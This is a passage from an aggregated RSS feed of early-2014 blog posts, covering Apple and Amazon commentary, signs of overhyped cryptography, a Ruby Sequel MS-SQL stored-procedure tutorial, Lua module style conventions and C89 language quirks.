                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-fundamental-disparity.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 05 Jan 2014 00:33:07 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-fundamental-disparity.html</guid></item><item><title>Apple's 2013 Scorecard</title><link>http://hypercritical.co/2014/01/02/apples-2013-scorecard</link><description>&lt;p&gt;In direct opposition to &lt;a href="http://qz.com/161443/2013-was-a-lost-year-for-tech/"&gt;Christopher Mims&amp;#8217; belief&lt;/a&gt; that the technology industry as a whole collectively failed to accomplish virtually anything significant&amp;#160;&amp;#8212;&amp;#160;see &lt;a href="http://daringfireball.net/2013/12/the_year_in_apple_and_technology"&gt;John Gruber&lt;/a&gt; and &lt;a href="http://www.marco.org/2013/12/29/gruber-mims"&gt;Marco Arment&amp;#8217;s&lt;/a&gt; refutations&amp;#160;&amp;#8212;&amp;#160;in 2013, John Siracusa outlines eight areas &lt;a href="http://hypercritical.co/2013/02/02/apples-2013-to-do-list"&gt;of ten&lt;/a&gt; that Apple met his expectations well enough to merit a respectable grade. Personally, I would place much more stock in this list.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://hypercritical.co/2014/01/02/apples-2013-scorecard"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 04 Jan 2014 09:36:53 GMT</pubDate><guid isPermaLink="true">http://hypercritical.co/2014/01/02/apples-2013-scorecard</guid></item><item><title>Closed Circuit</title><link>https://olshansky.info/movie/closed_circuit/</link><description>Olshansky's review of Closed Circuit</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 04 Jan 2014 09:28:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/closed_circuit/</guid></item><item><title>Web Standards Killed the HTML Star</title><link>https://nicolaiarocci.com/web-standards-killed-the-html-star/</link><description>&lt;blockquote&gt;
&lt;p&gt;What we may not have realized is that once the browsers don’t suck, being an HTML and CSS “guru” isn’t really a very marketable skillset. 80% of what made us useful was the way we knew all the quirks and intracries of the browsers. Guess what? Those are all gone. And if they’re not, they will be in the very near future. Then what?&lt;/p&gt;
&lt;p&gt;A lot of folks who came up from that time and headspace have diversified their skillsets since. Many are now programmers, or project managers, or creative directors, or business owners. But a lot of others are still making a go of it as an HTML and CSS guru, often in a comfortable job they’ve had for years. What happens when that gig comes to an end?&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sat, 04 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/web-standards-killed-the-html-star/</guid></item><item><title>Crypto smells</title><link>https://bastian.rieck.me/blog/2014/crypto_smells/</link><description>&lt;p&gt;Startups and companies that aim to provide &lt;em&gt;cryptographically secure&lt;/em&gt; internet messaging platforms
have started cropping up during the last six months. This is a very good development. Unfortunately,
cryptography is ridiculously hard to get right (provided that you are really starting from scratch,
rolling your own algorithm that is only based on first principles). &lt;a href="https://crypto.cat"&gt;Cryptocat&lt;/a&gt;
already got its &lt;a href="https://datavibe.net/~sneak/20130717/cryptocat-considered-harmful"&gt;share of
criticism&lt;/a&gt;. A few weeks ago, I
was very excited to learn about &lt;a href="https://telegram.org"&gt;Telegram&lt;/a&gt;, an application geared towards
providing a &lt;em&gt;secure&lt;/em&gt; alternative to WhatsApp (these are my words, not the actual mission statement
of the software). An initial &lt;a href="http://news.ycombinator.com/item?id=6913456"&gt;post on Hackernews&lt;/a&gt;
resulted in very mixed reviews. People were sceptical about some of the claims and the protocol
choices made by the developers. &lt;a href="http://geoffroycouprie.com"&gt;Geoffroy Couprie&lt;/a&gt; wrote a &lt;a href="http://unhandledexpression.com/2013/12/17/telegram-stand-back-we-know-maths"&gt;long and
detailed critique of
Telegram&lt;/a&gt;, which has
since been updated to contain new information. Personally, I consider his wording a bit harsh at
times, but he makes some valid points. &lt;a href="http://paulmillr.com"&gt;Paul Miller&lt;/a&gt; raised some equally valid
points &lt;a href="http://paulmillr.com/posts/the-story-of-telegram"&gt;in a blog article&lt;/a&gt;, namely (among others)
that it is easy to criticize people for doing something completely new. He has even been providing
a &lt;a href="http://paulmillr.com/posts/telegram-status"&gt;live status of Telegram vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With all these emotions flying around, I want to take a more diplomatic stance. In the best
tradition of the &lt;a href="http://math.ucr.edu/home/baez/crackpot.html"&gt;mathematical crackpot index&lt;/a&gt;, &lt;a href="http://www.scottaaronson.com/blog/?p=304"&gt;Scott
Aaronson&amp;rsquo;s list of signs a mathematical breakthrough is
wrong&lt;/a&gt;, and &lt;a href="http://www.codinghorror.com/blog/2006/05/code-smells.html"&gt;Jeff Atwood&amp;rsquo;s collection of &lt;em&gt;code smells&lt;/em&gt; in
computer science&lt;/a&gt;, I decided to think
about some &lt;em&gt;crypto smells&lt;/em&gt;, i.e. signs that &lt;em&gt;may&lt;/em&gt; indicate that a given cryptographic algorithm is
overly hyped. This is &lt;em&gt;not&lt;/em&gt; to say that every protocol that &amp;ldquo;smells&amp;rdquo; is necessarily wrong. It might
explain why the Telegram experienced so much backlash, though.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the crypto smells I have identified so far:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Claiming credentials that are not related to the subject at hand. This is a classic variant of
the &lt;em&gt;argument from authority&lt;/em&gt; and is akin to using your professorship from Hogwarts to impress those
muggles. Whether a cryptographic system is sound must depend only on its mathematics, not on the
fact that it is created by John Doe, PhD.&lt;/li&gt;
&lt;li&gt;Bashing other cryptographic systems for their alleged complexity. While it is perfectly fine to
claim that your product explicitly caters to non-experts, it is unnecessary to ridicule established
algorithms such as PGP.&lt;/li&gt;
&lt;li&gt;Excessive use of buzzwords like &lt;em&gt;military-strength encryption&lt;/em&gt; or adjectives such as
&lt;em&gt;unbreakable&lt;/em&gt;. Real science and scientific writing should be humble. Let your peers decide the worth
of your application by showing them proof.&lt;/li&gt;
&lt;li&gt;Too many claims without proof. The description of your cryptosystem should be &lt;em&gt;public&lt;/em&gt;. Do no
behind empty phrases. This resonates with &lt;a href="https://bastian.rieck.me/blog/2013/prove_dont_claim/"&gt;a previous article of mine on this
subject&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Not open-sourcing even the main algorithm. Given enough eyeballs, all bugs are shallow. Bugs in
cryptographic applications have the highest potential for causing &lt;em&gt;real&lt;/em&gt; damage. Any closed-source
cryptographic application does not have &lt;em&gt;any&lt;/em&gt; credibility at all.&lt;/li&gt;
&lt;li&gt;Using dated cryptographic functions (I am looking at you, MD5) in some places of the protocol.
Good protocols might survive insecure components but this might still be indicative of a larger
problem.&lt;/li&gt;
&lt;li&gt;Relying on central instances to perform auxiliary functions in the protocol. I am not talking
about something like the PGP keyservers, which only serve to &lt;em&gt;facilitate&lt;/em&gt; the existing protocol, but
rather about something like a central server, for example, to broker between clients. Any central
system smells fishy because it requires users to trust a central instance.&lt;/li&gt;
&lt;li&gt;Arranging a &amp;ldquo;crypto challenge&amp;rdquo; and claiming that the protocol is secure just because nobody
solved the challenge. This is not the way it works.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&amp;rsquo;s all for now, I will expand the list if I identify any more smells. A very large and loud
&amp;ldquo;Thank you&amp;rdquo; to all cryptographers out there. May your crypto always smell like roses.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Fri, 03 Jan 2014 22:13:42 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/crypto_smells/</guid></item><item><title>Coingen Beta</title><link>http://coingen.io</link><description>&lt;p&gt;Yesterday &lt;a href="https://zacs.site/blog/how-bitcoin-will-plummet.html"&gt;I linked to&lt;/a&gt; an article by Tyler Cowen where he made a strong case for Coin&amp;#8217;s inevitable devaluation as a currency, citing the ease with which one could create a cryptocurrency potentially superior to Bitcoin as the catalyst that will push its value further and further down from the high it currently enjoys. Ironically, today a new service made its way into the top ten on Hacker News called Coinage Beta, which allows anyone to create their own alternative currency by filling out a form and paying a nominal fee.&lt;/p&gt;

&lt;p&gt;Let the proliferation of Bitcoin alternatives begin. I look forward to seeing how this affects the Bitcoin market, if at all. Tyler could not have posted his article at a better time.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://coingen.io"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 03 Jan 2014 12:13:51 GMT</pubDate><guid isPermaLink="true">http://coingen.io</guid></item><item><title>AnandTech's Mac Pro Review</title><link>http://www.anandtech.com/show/7603/mac-pro-review-late-2013/4</link><description>&lt;p&gt;As Marco said in &lt;a href="http://www.marco.org/2014/01/01/anandtech-2013-mac-pro-review"&gt;his post&lt;/a&gt; linking to AnandTech&amp;#8217;s new Mac Pro evaluation, &amp;#8220;For Mac OS reviews, read John Siracusa. For Mac reviews, read Anand.&amp;#8221; This has become widely accepted over the last few years, and rightly so: these two writers epitomize every aspect of excellence within their respective fields. That&amp;#8217;s why I sat down with AnandTech&amp;#8217;s latest article, despite having no intention of buying a Mac Pro within the foreseeable future. After Marco&amp;#8217;s recommendation I originally intended to focus solely on page two, but before I knew it Anand had sucked me in and I ended up finishing the entire piece.&lt;/p&gt;

&lt;p&gt;During &lt;a href="http://neutral.fm"&gt;Neutral&amp;#8217;s&lt;/a&gt; brief run John made an interesting point in their discussion of the latest Ferrari supercar which, I believe, took place during &lt;a href="http://neutral.fm/episodes/8-three-james-mays"&gt;episode eight&lt;/a&gt;: car companies traditionally focused on mid-range to low-end price points nevertheless devote significant time and money to building incredibly powerful vehicles&amp;#160;&amp;#8212;&amp;#160;some of which never even make it to market&amp;#160;&amp;#8212;&amp;#160;in order to push the boundaries of the automotive industry and showcase the extremes of their abilities as engineers, designers, and manufacturers. In the computing world, Apple&amp;#8217;s Mac Pro fulfills a similar role in epitomizing the juxtaposition of power, usability, and design. To shift focus briefly back to cars, high-end car companies like BMW and Audi charge a premium for craftsmanship and luxury, yes, but also for the latest vehicular technology available that more economical cars will not see for years to come. To predict the future of the low end, one need only look to the current high end: within a few generations that technology will trickle down to the economy classes, replaced with even more impressive features, and so the cycle will repeat itself. We may draw another parallel to the Mac Pro here as the signifier of impending change to not only Apple&amp;#8217;s other computing devices over the next few years, but the computing industry as a whole resultant of Apple&amp;#8217;s relatively new position as today&amp;#8217;s most popular tech company. Therein lies my reasoning behind setting aside an hour or so to read Anand&amp;#8217;s article and put this short post together: while I do not plan on buying a Mac Pro, it serves as an excellent indicator of where the high end is headed, and thus sets a reasonable expectation for the next few years with regards to not only CPU performance, but every other aspect as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.anandtech.com/show/7603/mac-pro-review-late-2013/4"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 03 Jan 2014 11:01:02 GMT</pubDate><guid isPermaLink="true">http://www.anandtech.com/show/7603/mac-pro-review-late-2013/4</guid></item><item><title>Business 2013</title><link>https://www.databasesandlife.com/business-2013/</link><description>&lt;p&gt;This is a report of business activities in 2013. (Similar to the &lt;a href="https://www.databasesandlife.com/projects-ive-taken-online-in-2012/" title="Projects I’ve taken online in 2012"&gt;report for last year, 2012&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;My employee &lt;strong&gt;MartinL&lt;/strong&gt; (software development) has remained with me for most of 2013, although returning to university in the latter half of the year. New employee &lt;strong&gt;DavidZ&lt;/strong&gt; (software development) has joined.&lt;/p&gt;
&lt;p&gt;I have been getting into &lt;strong&gt;outsourcing&lt;/strong&gt; for a few years. Not for the obvious reason of reducing customer costs (that&amp;rsquo;s just a side-effect), but for the fact that good people in Vienna are often already engaged. I don&amp;rsquo;t want to have to tell my customers &amp;ldquo;We can do the project, but only in 6 months..&amp;rdquo; so I&amp;rsquo;ve had to look for other alternatives. We&amp;rsquo;ve had some good and bad experiences (as it to be expected), but now I have at least one person who delivers excellent quality and is very reliable.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 03 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/business-2013/</guid></item><item><title>MS-SQL Stored Procedures in Sequel: Getting the value of output variables</title><link>http://jrgns.net/blog/2014/01/03/ms-sql-stored-procs-with-output-variables-in-sequel.html</link><description>&lt;p&gt;We had the opportunity to muck around with a couple of technologies at &lt;a href="http://www.tutuka.com"&gt;Tutuka&lt;/a&gt; the last few weeks. I managed to do
some work with Ruby, specifically &lt;a href="http://www.sinatrarb.com/"&gt;Sinatra&lt;/a&gt; and &lt;a href="http://sequel.jeremyevans.net/"&gt;Sequel&lt;/a&gt;. We use MS-SQL extensively and eventually we ran into an issue where
we couldn’t get the values of output variables from stored procedures. After extensive googling we found out that it’s
not supported. There were a couple of clues on how it might be done (particularly this &lt;a href="https://github.com/rails-sqlserver/tiny_tds/issues/24"&gt;TinyTDS Issue&lt;/a&gt;), so after chatting
with Jeremy (the maintainer of Sequel) I decided to try and the necessary support.&lt;/p&gt;

&lt;h1 id="it-worked"&gt;It Worked!&lt;/h1&gt;

&lt;p&gt;I was relatively surprised on how easy it was. As of yesterday (2014-01-02) it’s now part of the Sequel version 4.6&lt;/p&gt;

&lt;div class="highlighter-rouge"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Add Database#call_mssql_sproc on MSSQL for calling stored procedures and handling output parameters (jrgns, jeremyevans) (#748)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h1 id="how-to-use-it"&gt;How to use it&lt;/h1&gt;

&lt;p&gt;You can get a good idea on how to use it from the &lt;a href="https://github.com/jeremyevans/sequel/blob/master/doc/mssql_stored_procedures.rdoc"&gt;documentation&lt;/a&gt;, but here’s a summary.&lt;/p&gt;

&lt;p&gt;Let’s say your stored procedure is defined as follows:&lt;/p&gt;

&lt;div class="highlighter-rouge"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;CREATE PROCEDURE dbo.SequelTest(
  @Input varchar(25),
  @Output int OUTPUT
)
AS
  SET @Output = LEN(@Input)
  RETURN 0
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;If you don’t care about the type or the name of the output variable, execution is as simple specifying that an argument
is an output parameter by passing the &lt;code class="highlighter-rouge"&gt;:output&lt;/code&gt; symbol as the argument value.&lt;/p&gt;

&lt;div class="highlighter-rouge"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;DB.call_mssql_sproc(:SequelTest, {:args =&amp;gt; ['Input String', :output]})

&amp;gt; {:result =&amp;gt; 0, :numrows =&amp;gt; 1, :var1 =&amp;gt; "1"}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The &lt;code class="highlighter-rouge"&gt;result&lt;/code&gt; and &lt;code class="highlighter-rouge"&gt;numrows&lt;/code&gt; element will contain the result code returned by the stored proc and the number of rows affected
respectively.&lt;/p&gt;

&lt;p&gt;If you need to specify the type of the output variable, do so by specifying the second element of the array:&lt;/p&gt;

&lt;div class="highlighter-rouge"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;DB.call_mssql_sproc(:SequelTest, {:args =&amp;gt; ['Input String', [:output, 'int']]})

&amp;gt; {:result =&amp;gt; 0, :numrows =&amp;gt; 1, :var1 =&amp;gt; 1}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;If you need to specify the name of the output variable, do so by specifying the third element of the array:&lt;/p&gt;

&lt;div class="highlighter-rouge"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;DB.call_mssql_sproc(:SequelTest, {:args =&amp;gt; ['Input String', [:output, nil, 'output']]})

&amp;gt; {:result =&amp;gt; 0, :numrows =&amp;gt; 1, :output =&amp;gt; "1"}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Enjoy!&lt;/p&gt;</description><author>Jurgens du Toit</author><pubDate>Fri, 03 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://jrgns.net/blog/2014/01/03/ms-sql-stored-procs-with-output-variables-in-sequel.html</guid></item><item><title>How I write Lua modules</title><link>https://blog.separateconcerns.com/2014-01-03-lua-module-policy.html</link><description>&lt;p&gt;Hisham just published an article about his personal &lt;a href="http://hisham.hm/2014/01/02/how-to-write-lua-modules-in-a-post-module-world/"&gt;guidelines for writing Lua modules&lt;/a&gt;. Interestingly, I do a lot of things differently. Let us see how.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #1: always require a module into a local named after the last component of the module’s full name.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I tend to do that, but not always. Exceptions include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
modules with names that are too generic such as&lt;code&gt;path&lt;/code&gt;, &lt;code&gt;utils&lt;/code&gt; or &lt;code&gt;types&lt;/code&gt; from Penlight, where I add an &lt;code&gt;x&lt;/code&gt; at the end of the name (e.g. &lt;code&gt;pathx&lt;/code&gt;);
&lt;/li&gt;
&lt;li&gt;
modules which I use as alternatives for others, for instance &lt;code&gt;cjson&lt;/code&gt; which I call &lt;code&gt;json&lt;/code&gt;;
&lt;/li&gt;
&lt;li&gt;
modules with names that are too long such as my own &lt;code&gt;multipart-post&lt;/code&gt; which I call &lt;code&gt;mp&lt;/code&gt; (it is not a valid identifier anyway, I would have to replace the dash by an underscore).
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #2: start a module by declaring its table using the same all-lowercase local name that will be used to require it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #3: Use local function to declare local functions only: that is, functions that won’t be accessible from outside the module.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #4: public functions are declared in the module table, with dot syntax.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I do something entirely different. First, I &lt;strong&gt;never&lt;/strong&gt; use the function sugar in Lua, so instead of writing &lt;code&gt;local function f()&lt;/code&gt; I write &lt;code&gt;local f = function()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I also do not declare the module table at the top of the module, I return it at the end, listing public functions explicitly. That means public functions are declared as locals. Arguably, they could be confused with private functions but that doesn’t bother me: if you are editing the code of the module, you probably know its interface. My public functions are also usually located at the end of the module.&lt;/p&gt;
&lt;p&gt;To illustrate, Hisham’s module example is:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local bar = {}

local function happy_greet(greeting)
   print(greeting .. "!!!! :-D")
end

function bar.say(greeting)
   happy_greet(greeting)
end

return bar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I would write instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local happy_greet = function(greeting)
   print(greeting .. "!!!! :-D")
end

local say = function(greeting)
  happy_greet(greeting)
end

return {
  say = say,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One advantage of doing this is that when you call a public function in the module itself it is a local. That means that you avoid a table lookup, but also that &lt;strong&gt;it acts as a private function from the point of view of other functions in your module&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;To understand what I mean, imagine that we change our mind and now want to expose &lt;code&gt;happy_greet&lt;/code&gt; as well.&lt;/p&gt;
&lt;p&gt;Hisham’s module becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local bar = {}

function bar.happy_greet(greeting)
   print(greeting .. "!!!! :-D")
end

function bar.say(greeting)
   bar.happy_greet(greeting)
end

return bar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mine becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local happy_greet = function(greeting)
   print(greeting .. "!!!! :-D")
end

local say = function(greeting)
  happy_greet(greeting)
end

return {
  say = say,
  happy_greet = happy_greet,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing we can notice is that we had to modify &lt;code&gt;say&lt;/code&gt; in Hisham’s module and not in mine. But now imagine a “malicious” user does this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local bar = require "bar"

local fishy_greet = function(greeting)
  print(greeting .. " &amp;gt;&amp;lt;&amp;gt;")
end

bar.happy_greet = fishy_greet

bar.say("yay")
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With my module, the output would be &lt;code&gt;yay!!!! :-D&lt;/code&gt;. With Hisham’s, the output would be &lt;code&gt;yay &amp;gt;&amp;lt;&amp;gt;&lt;/code&gt;: the user is allowed to monkey patch their module in a way that has an effect on functions they do not explicitly touch.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #5: construct a table for your class and name it LikeThis so we know your table is a class.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #6: functions that are supposed to be used as object methods should be clearly marked as such, and the colon syntax is a great way to do it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Again, not how I do it :) Using CamelCase is a good idea but in the wild I see it more often for the actual module table, not for what Hisham calls the “class” table that is associated to &lt;code&gt;__index&lt;/code&gt; in the metatable (I call it “methods”). Usually, it means (to me) that the constructor is &lt;code&gt;MyClass()&lt;/code&gt;, whereas with a lowercase module name it would be &lt;code&gt;myclass.new()&lt;/code&gt;. I use the latter and Penlight is an example of the former.&lt;/p&gt;
&lt;p&gt;Just like I do not use the &lt;code&gt;function&lt;/code&gt; sugar, I do not use the colon syntax to define functions. Moreover, &lt;strong&gt;I often call methods with explicit self in the module itself&lt;/strong&gt;. Any idea why? Yeah, same as above, resistance to monkey patches. I agree that this is not a very convincing argument given that I often skip the little &lt;code&gt;local print = print&lt;/code&gt; dance.&lt;/p&gt;
&lt;p&gt;Other advantages include, again, less call overhead and the ability to call methods consistently on objects before they have their metatable. This is sometimes useful in constructors.&lt;/p&gt;
&lt;p&gt;So where Hisham’s class example is:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local myclass = {}

local MyClass = {}

function MyClass:some_method()
   -- code
end

function MyClass:another_one()
   self:some_method()
   -- more code
end

function myclass.new()
   local self = {}
   setmetatable(self, { __index = MyClass })
   return self
end

return myclass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I would write:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local some_method = function(self)
  -- code
end

local another_one = function(self)
  some_method(self)
  -- more code
end

local methods = {
  some_method = some_method,
  another_one = another_one,
}

local new = function()
  return setmetatable({}, {__index = methods})
end

return {new = new}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course sometimes I do &lt;strong&gt;not&lt;/strong&gt; want to resist monkey patches, and in that case I use colon syntax for calls, but never for definitions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Policy Bit #7: do not set any globals in your module and always return a table in the end.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one I cannot disagree with. It is the only rule that has an obvious externally visible effect. Do this or you will annoy all your users.&lt;/p&gt;
&lt;p&gt;I think this is what matters the most in the end: modules always return tables and never create globals. The rest is mostly implementation details!&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Fri, 03 Jan 2014 01:00:01 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-01-03-lua-module-policy.html</guid></item><item><title>C: what I had forgotten</title><link>https://blog.separateconcerns.com/2014-01-02-clang-forgotten.html</link><description>&lt;p&gt;Thanks to my &lt;a href="https://blog.separateconcerns.com/2013-12-12-infinity-beyond.html"&gt;new job&lt;/a&gt; I will have the opportunity to write a lot more C than in the last three years. To prepare for this, I decided to read some old C89 books again and see what I remembered. Here are some of the quirks I had forgotten (or never known about).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Declarations cannot be interleaved with other statements in ANSI C. They have to happen at the beginning of a bloc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The default type of functions is &lt;code&gt;int&lt;/code&gt;, i.e. &lt;code&gt;f(void) {};&lt;/code&gt; is valid and equivalent to &lt;code&gt;int f(void) {};&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The C89 standards allows implementations to only consider the first 31 characters of identifiers. It is possible to use longer identifiers but they must differ in their first 31 characters to avoid collisions. External identifiers (seen by the linker) are even worse: the implementation can be case-insensitive and only take the first 6 (!) characters into account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using the wrong type on an union is usually undefined. However, if some members of the union start with the same attributes, that common initial part can be used interchangeably.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-c"&gt;const struct stuff_s {
  /* stuff */
} stuff_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;means the same thing as:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-c"&gt;struct stuff_s {
  /* stuff */
} const stuff_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but if you wrote it you probably meant this instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-c"&gt;struct stuff_s {
  /* stuff */
};
typedef const struct stuff_s stuff_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I already knew sequence points can be tricky, but this bit of code tricked me anyway: &lt;code&gt;a[i] = i++;&lt;/code&gt;. There is no sequence point so the result is undefined.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The standard allows the &lt;strong&gt;representation&lt;/strong&gt; of &lt;code&gt;NULL&lt;/code&gt; to be different from &lt;code&gt;0&lt;/code&gt;, but its &lt;strong&gt;value&lt;/strong&gt; has to be &lt;code&gt;0&lt;/code&gt; so you can almost always write code that assumes &lt;code&gt;NULL == 0&lt;/code&gt; and be right provided you do not &lt;strong&gt;actually test&lt;/strong&gt; &lt;code&gt;NULL == 0&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description><author>Separate Concerns</author><pubDate>Thu, 02 Jan 2014 23:10:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-01-02-clang-forgotten.html</guid></item><item><title>Amazon's PR genius</title><link>http://ben-evans.com/benedictevans/2014/1/1/amazons-pr-genius</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;All of this leads to the question; is there any company more successful at controlling the public narrative than Amazon? Nothing it cares about ever leaks. Almost all of the press coverage, even the negative stories, runs to a script that Bezos could have written&amp;#160;&amp;#8212;&amp;#160;&amp;#8216;We do amazing things to get low prices to customers&amp;#8217; and &amp;#8216;it&amp;#8217;s incredibly hard to compete with us&amp;#8217;. Of course, both of those things may well be true.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Everyone loves to praise Apple as the most interesting company in existence, building the greatest products available, showcased with &lt;a href="https://zacs.site/blog/misunderstood.html"&gt;the best marketing&lt;/a&gt; in the business. Conversely, everyone loves to hate Amazon: they never do anything interesting and consistently &amp;#8220;fail&amp;#8221; to turn a profit; their products consistently fall far short of even the most reasonable expectations; and the company operates essentially as a black box. I find it incredibly interesting, then, when a writer goes to bat for Amazon. The companies are not all that different, after all.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/1/1/amazons-pr-genius"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 23:03:09 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/1/1/amazons-pr-genius</guid></item><item><title>The scenic route</title><link>https://liza.io/the-scenic-route/</link><description>&lt;p&gt;This morning I decided to wake up earlier and take a different route to work on Deider (the bike).&lt;/p&gt;
&lt;p&gt;The ride didn&amp;rsquo;t have to take as long as it did - I managed to stop every three minutes to admire the view and take bad photos on my phone.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 02 Jan 2014 20:54:45 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-scenic-route/</guid></item><item><title>Looking Towards the Future</title><link>https://zacs.site/blog/computers-on-your-face.html</link><description>&lt;p&gt;Marco Arment in &lt;a href="http://www.marco.org/2013/12/29/smart-watches-and-face-computers"&gt;&lt;em&gt;Smart Watches and Computers On Your Face&lt;/em&gt;&lt;/a&gt;, after explaining technology&amp;#8217;s inexorable progression since the 1980s, went on to posit that perhaps our current devices have reached the point of &amp;#8220;good enough&amp;#8221; with the advent of current-generation smartphones and, in some use cases, tablets; perhaps, at this point, further &amp;#8220;innovation&amp;#8221; with products such as Google Glass and a smart watch of sorts serves little purpose, because mobile phones have become so good as of late to obviate the need for more devices of arguable value. Although I tend to agree with him, I do so with a tremendous amount of reserve.&lt;/p&gt;
